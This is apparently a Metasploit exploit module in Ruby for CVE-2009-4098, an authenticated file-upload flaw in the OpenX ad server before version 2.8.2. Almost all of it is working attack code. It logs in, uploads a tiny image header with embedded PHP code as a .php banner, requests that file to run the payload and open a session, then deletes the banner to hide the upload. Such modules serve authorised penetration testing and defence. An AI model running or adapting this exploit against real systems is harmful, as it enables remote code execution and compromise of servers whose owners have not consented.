350 lines
11 KiB
Ruby
350 lines
11 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenX banner-edit.php File Upload PHP Code Execution',
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'Description' => %q{
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This module exploits a vulnerability in the OpenX advertising software.
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In versions prior to version 2.8.2, authenticated users can upload files
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with arbitrary extensions to be used as banner creative content. By uploading
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a file with a PHP extension, an attacker can execute arbitrary PHP code.
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NOTE: The file must also return either "png", "gif", or "jpeg" as its image
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type as returned from the PHP getimagesize() function.
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},
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'Author' => [ 'jduck' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2009-4098' ],
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[ 'OSVDB', '60499' ],
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[ 'BID', '37110' ],
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[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html' ],
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[ 'URL', 'http://www.openx.org/docs/2.8/release-notes/openx-2.8.2' ],
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# References for making small images:
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[ 'URL', 'http://php.net/manual/en/function.getimagesize.php' ],
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[ 'URL', 'http://gynvael.coldwind.pl/?id=223' ],
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[ 'URL', 'http://gynvael.coldwind.pl/?id=224' ],
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[ 'URL', 'http://gynvael.coldwind.pl/?id=235' ],
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[ 'URL', 'http://programming.arantius.com/the+smallest+possible+gif' ],
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[ 'URL', 'http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'ConnectionType' => '-find',
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},
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'Space' => 1024,
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Nov 24 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "OpenX directory path", "/openx/"]),
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OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
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OptString.new('PASSWORD', [ true, 'The password for the specified username' ]),
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OptString.new('DESC', [ true, 'The description to use for the banner', 'Temporary banner']),
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], self.class)
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end
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def check
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uri = normalize_uri(datastore['URI'], 'www', 'admin/')
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res = send_request_raw(
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{
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'uri' => uri
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}, 25)
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if (res and res.body =~ /v.?([0-9]\.[0-9]\.[0-9])/)
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ver = $1
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vers = ver.split('.').map { |v| v.to_i }
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return Exploit::CheckCode::Safe if (vers[0] > 2)
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return Exploit::CheckCode::Safe if (vers[1] > 8)
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return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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# tiny images :)
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tiny_gif = "GIF89a" +
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"\x01\x00\x01\x00\x00" +
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[1,1,0x80|(2**(2+rand(3)))].pack('nnC') +
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"\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"
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tiny_png = "\x89PNG\x0d\x0a\x1a\x0a" +
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rand_text_alphanumeric(8) +
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[1,1,0].pack('NNC')
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tiny_jpeg = "\xff\xd8\xff\xff" +
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[0xc0|rand(16), rand(8), 2**(2+rand(3)), 1, 1, 1].pack('CnCnnC')
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tiny_imgs = [ tiny_gif, tiny_png, tiny_jpeg ]
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# Payload
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cmd_php = '<?php ' + payload.encoded + '?>'
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content = tiny_imgs[rand(tiny_imgs.length)] + cmd_php
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# Static files
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img_dir = 'images/'
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uri_base = normalize_uri(datastore['URI'], 'www/')
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# Need to login first :-/
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cookie = openx_login(uri_base)
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if (not cookie)
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fail_with(Failure::Unknown, 'Unable to login!')
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end
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print_status("Logged in successfully (cookie: #{cookie})")
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# Now, check for an advertiser / campaign
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ids = openx_find_campaign(uri_base, cookie)
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if (not ids)
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# TODO: try to add an advertiser and/or campaign
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fail_with(Failure::Unknown, 'The system has no advertisers or campaigns!')
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end
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adv_id = ids[0]
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camp_id = ids[1]
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print_status("Using advertiser #{adv_id} and campaign #{camp_id}")
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# Add the banner >:)
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ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)
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if (not ban_id)
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fail_with(Failure::Unknown, 'Unable to upload the banner!')
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end
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print_status("Successfully uploaded the banner image with id #{ban_id}")
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# Find the filename
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ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
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if (not ban_fname)
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fail_with(Failure::Unknown, 'Unable to find the banner filename!')
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end
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print_status("Resolved banner id to name: #{ban_fname}")
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# Request it to trigger the payload
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res = send_request_raw({
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'uri' => uri_base + 'images/' + ban_fname + '.php'
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})
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# Delete the banner :)
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if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))
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print_warning("WARNING: Unable to automatically delete the banner :-/")
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else
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print_good("Successfully deleted banner # #{ban_id}")
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end
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print_status("You should have a session now.")
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handler
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end
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def openx_login(uri_base)
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res = send_request_raw(
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{
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'uri' => normalize_uri(uri_base, 'admin/index.php')
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}, 10)
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if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/)
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return nil
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end
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cookie = $1
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res = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => normalize_uri(uri_base, 'admin/index.php'),
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'vars_post' =>
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{
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'oa_cookiecheck' => cookie,
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'username' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'login' => 'Login'
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},
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'headers' =>
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{
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'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
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},
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}, 10)
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if (not res or res.code != 302)
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return nil
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end
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# return the cookie
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cookie
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end
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def openx_find_campaign(uri_base, cookie)
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res = send_request_raw(
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{
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'uri' => normalize_uri(uri_base, 'admin/advertiser-campaigns.php'),
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'headers' =>
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{
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'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
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},
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})
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if not (res and res.body =~ /campaign-edit\.php\?clientid=([^&])&campaignid=([^\'])\'/)
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return nil
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end
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adv_id = $1.to_i
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camp_id = $2.to_i
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[ adv_id, camp_id ]
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end
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def mime_field(boundary, name, data, filename = nil, type = nil)
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ret = ''
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ret << '--' + boundary + "\r\n"
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ret << "Content-Disposition: form-data; name=\"#{name}\""
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if (filename)
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ret << "; filename=\"#{filename}\""
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end
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ret << "\r\n"
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if (type)
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ret << "Content-Type: #{type}\r\n"
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end
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ret << "\r\n"
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ret << data + "\r\n"
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ret
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end
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def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img)
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# Generate some random strings
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boundary = ('-' * 8) + rand_text_alphanumeric(32)
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cmdscript = rand_text_alphanumeric(8+rand(8))
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# Upload payload (file ending .php)
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data = ""
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data << mime_field(boundary, "_qf__bannerForm", "")
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data << mime_field(boundary, "clientid", adv_id.to_s)
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data << mime_field(boundary, "campaignid", camp_id.to_s)
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data << mime_field(boundary, "bannerid", "")
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data << mime_field(boundary, "type", "web")
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data << mime_field(boundary, "status", "")
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data << mime_field(boundary, "MAX_FILE_SIZE", "2097152")
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data << mime_field(boundary, "replaceimage", "t")
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data << mime_field(boundary, "replacealtimage", "t")
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data << mime_field(boundary, "description", datastore['DESC'])
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data << mime_field(boundary, "upload", code_img, "#{cmdscript}.php", "application/octet-stream")
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data << mime_field(boundary, "checkswf", "1")
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data << mime_field(boundary, "uploadalt", "", "", "application/octet-stream")
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data << mime_field(boundary, "url", "http://")
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data << mime_field(boundary, "target", "")
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data << mime_field(boundary, "alt", "")
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data << mime_field(boundary, "statustext", "")
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data << mime_field(boundary, "bannertext", "")
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data << mime_field(boundary, "keyword", "")
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data << mime_field(boundary, "weight", "1")
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data << mime_field(boundary, "comments", "")
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data << mime_field(boundary, "submit", "Save changes")
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#data << mime_field(boundary, "", "")
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data << '--' + boundary + '--'
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res = send_request_raw(
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{
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'uri' => normalize_uri(uri_base, "admin/banner-edit.php"),
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'method' => 'POST',
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'data' => data,
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'headers' =>
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{
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'Content-Length' => data.length,
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'Content-Type' => 'multipart/form-data; boundary=' + boundary,
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'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
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}
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}, 25)
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if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
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return nil
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end
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# Ugh, now we have to get the banner id!
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res = send_request_raw(
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{
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'uri' => normalize_uri(uri_base, "admin/campaign-banners.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}",
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'method' => 'GET',
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'headers' =>
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{
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'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
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}
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})
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if not (res and res.body.length > 0)
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return nil
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end
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res.body.each_line { |ln|
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# make sure the title we used is on this line
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regexp = Regexp.escape(datastore['DESC'])
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next if not (ln =~ /#{regexp}/)
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next if not (ln =~ /banner-edit\.php\?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=([^\']+)\'/)
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# found it! (don't worry about dupes)
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return $1.to_i
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}
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# Didn't find it :-/
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nil
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end
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def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
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# Ugh, now we have to get the banner name too!
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res = send_request_raw(
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{
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'uri' => normalize_uri(uri_base, "admin/banner-edit.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
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'method' => 'GET',
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'headers' =>
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{
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'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
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}
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})
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if not (res and res.body =~ /\/www\/images\/([0-9a-f]+)\.php/)
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return nil
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end
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return $1
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end
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def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id)
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res = send_request_raw(
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{
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'uri' => normalize_uri(uri_base, "admin/banner-delete.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
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'method' => 'GET',
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'headers' =>
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{
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'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
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}
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})
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if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
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return nil
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end
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true
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end
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end
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